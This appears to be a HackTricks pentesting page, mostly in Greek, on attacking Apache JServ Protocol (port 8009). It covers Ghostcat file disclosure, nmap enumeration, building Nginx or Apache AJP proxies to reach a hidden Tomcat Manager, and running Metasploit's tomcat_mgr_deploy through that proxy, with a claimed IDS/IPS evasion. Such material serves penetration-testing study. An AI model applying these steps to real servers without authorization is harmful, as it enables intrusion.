8009 - Pentesting Apache JServ Protocol (AJP)

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Information

From: https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/

AJP είναι ένα πρωτόκολλο καλωδίωσης. Είναι μια βελτιστοποιημένη έκδοση του πρωτοκόλλου HTTP για να επιτρέπει σε έναν αυτόνομο web server όπως ο Apache να επικοινωνεί με τον Tomcat. Ιστορικά, ο Apache ήταν πολύ πιο γρήγορος από τον Tomcat στην εξυπηρέτηση στατικού περιεχομένου. Η ιδέα είναι να επιτρέπεται στον Apache να εξυπηρετεί το στατικό περιεχόμενο όταν είναι δυνατόν, αλλά να προξενεί το αίτημα στον Tomcat για περιεχόμενο σχετικό με τον Tomcat.

Also interesting:

Το πρωτόκολλο ajp13 είναι προσανατολισμένο σε πακέτα. Ένας δυαδικός μορφότυπος επιλέχθηκε προφανώς σε σχέση με το πιο αναγνώσιμο απλό κείμενο για λόγους απόδοσης. Ο web server επικοινωνεί με το servlet container μέσω TCP συνδέσεων. Για να μειωθεί η δαπανηρή διαδικασία δημιουργίας socket, ο web server θα προσπαθήσει να διατηρήσει μόνιμες TCP συνδέσεις με το servlet container και να επαναχρησιμοποιήσει μια σύνδεση για πολλαπλούς κύκλους αιτήσεων/απαντήσεων.

Default port: 8009

PORT     STATE SERVICE
8009/tcp open  ajp13

CVE-2020-1938 'Ghostcat'

Εάν η θύρα AJP είναι εκτεθειμένη, το Tomcat μπορεί να είναι ευάλωτο στην ευπάθεια Ghostcat. Εδώ είναι ένα exploit που λειτουργεί με αυτό το ζήτημα.

Το Ghostcat είναι μια ευπάθεια LFI, αλλά κάπως περιορισμένη: μόνο αρχεία από μια συγκεκριμένη διαδρομή μπορούν να ανακτηθούν. Ωστόσο, αυτό μπορεί να περιλαμβάνει αρχεία όπως το WEB-INF/web.xml που μπορεί να διαρρεύσουν σημαντικές πληροφορίες όπως διαπιστευτήρια για τη διεπαφή Tomcat, ανάλογα με τη ρύθμιση του διακομιστή.

Οι διορθωμένες εκδόσεις από 9.0.31, 8.5.51 και 7.0.100 έχουν διορθώσει αυτό το ζήτημα.

Enumeration

Automatic

nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>

AJP Proxy

Nginx Reverse Proxy & AJP

Δείτε την εκδοχή Dockerized

Όταν συναντήσουμε μια ανοιχτή θύρα AJP proxy (8009 TCP), μπορούμε να χρησιμοποιήσουμε το Nginx με το ajp_module για να αποκτήσουμε πρόσβαση στον "κρυφό" Tomcat Manager. Αυτό μπορεί να γίνει με την εκτέλεση της διαδικασίας συμπίεσης του πηγαίου κώδικα του Nginx και την προσθήκη του απαιτούμενου module, ως εξής:

  • Κατεβάστε τον πηγαίο κώδικα του Nginx

  • Κατεβάστε το απαιτούμενο module

  • Συμπιέστε τον πηγαίο κώδικα του Nginx με το ajp_module.

  • Δημιουργήστε ένα αρχείο ρύθμισης που να δείχνει στη θύρα AJP

# Download Nginx code
wget https://nginx.org/download/nginx-1.21.3.tar.gz
tar -xzvf nginx-1.21.3.tar.gz

# Compile Nginx source code with the ajp module
git clone https://github.com/dvershinin/nginx_ajp_module.git
cd nginx-1.21.3
sudo apt install libpcre3-dev
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
make
sudo make install
nginx -V

Σχολιάστε ολόκληρο το μπλοκ server και προσθέστε τις παρακάτω γραμμές μέσα στο μπλοκ http στο /etc/nginx/conf/nginx.conf.

upstream tomcats {
server <TARGET_SERVER>:8009;
keepalive 10;
}
server {
listen 80;
location / {
ajp_keep_conn on;
ajp_pass tomcats;
}
}

Ξεκινήστε το Nginx και ελέγξτε αν όλα λειτουργούν σωστά εκδίδοντας ένα αίτημα cURL στον τοπικό σας υπολογιστή.

sudo nginx
curl http://127.0.0.1:80

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Apache Tomcat/X.X.XX</title>
<link href="favicon.ico" rel="icon" type="image/x-icon" />
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
<link href="tomcat.css" rel="stylesheet" type="text/css" />
</headas
<body>
<div id="wrapper">
<div id="navigation" class="curved container">
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
<span id="nav-examples"><a href="/examples/">Examples</a></span>
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
<br class="separator" />
</div>
<div id="asf-box">
<h1>Apache Tomcat/X.X.XX</h1>
</div>
<div id="upper" class="curved container">
<div id="congrats" class="curved container">
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
<SNIP>

Nginx Dockerized-version

git clone https://github.com/ScribblerCoder/nginx-ajp-docker
cd nginx-ajp-docker

Αντικαταστήστε το TARGET-IP στο nginx.conf με τη διεύθυνση IP AJP και στη συνέχεια κατασκευάστε και εκτελέστε.

docker build . -t nginx-ajp-proxy
docker run -it --rm -p 80:80 nginx-ajp-proxy

Apache AJP Proxy

Η συνάντηση ενός ανοιχτού θύρας 8009 χωρίς άλλες προσβάσιμες θύρες ιστού είναι σπάνια. Ωστόσο, είναι ακόμα δυνατό να εκμεταλλευτεί κανείς αυτό χρησιμοποιώντας Metasploit. Εκμεταλλευόμενοι το Apache ως proxy, τα αιτήματα μπορούν να ανακατευθυνθούν στο Tomcat στη θύρα 8009.

sudo apt-get install libapache2-mod-jk
sudo vim /etc/apache2/apache2.conf # append the following line to the config
Include ajp.conf
sudo vim /etc/apache2/ajp.conf     # create the following file, change HOST to the target address
ProxyRequests Off
<Proxy *>
Order deny,allow
Deny from all
Allow from localhost
</Proxy>
ProxyPass       / ajp://HOST:8009/
ProxyPassReverse    / ajp://HOST:8009/
sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2

Αυτή η ρύθμιση προσφέρει τη δυνατότητα παράκαμψης των συστημάτων ανίχνευσης και πρόληψης εισβολών (IDS/IPS) λόγω της δυαδικής φύσης του πρωτοκόλλου AJP, αν και αυτή η ικανότητα δεν έχει επαληθευτεί. Κατευθύνοντας μια κανονική εκμετάλλευση Metasploit Tomcat στο 127.0.0.1:80, μπορείτε αποτελεσματικά να αποκτήσετε έλεγχο του στοχευμένου συστήματος.

msf  exploit(tomcat_mgr_deploy) > show options

Αναφορές

Συμμετάσχετε στον HackenProof Discord server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!

Ενημερώσεις Χάκινγκ Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας

Συμμετάσχετε μαζί μας στο Discord και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!

Υποστήριξη HackTricks

Last updated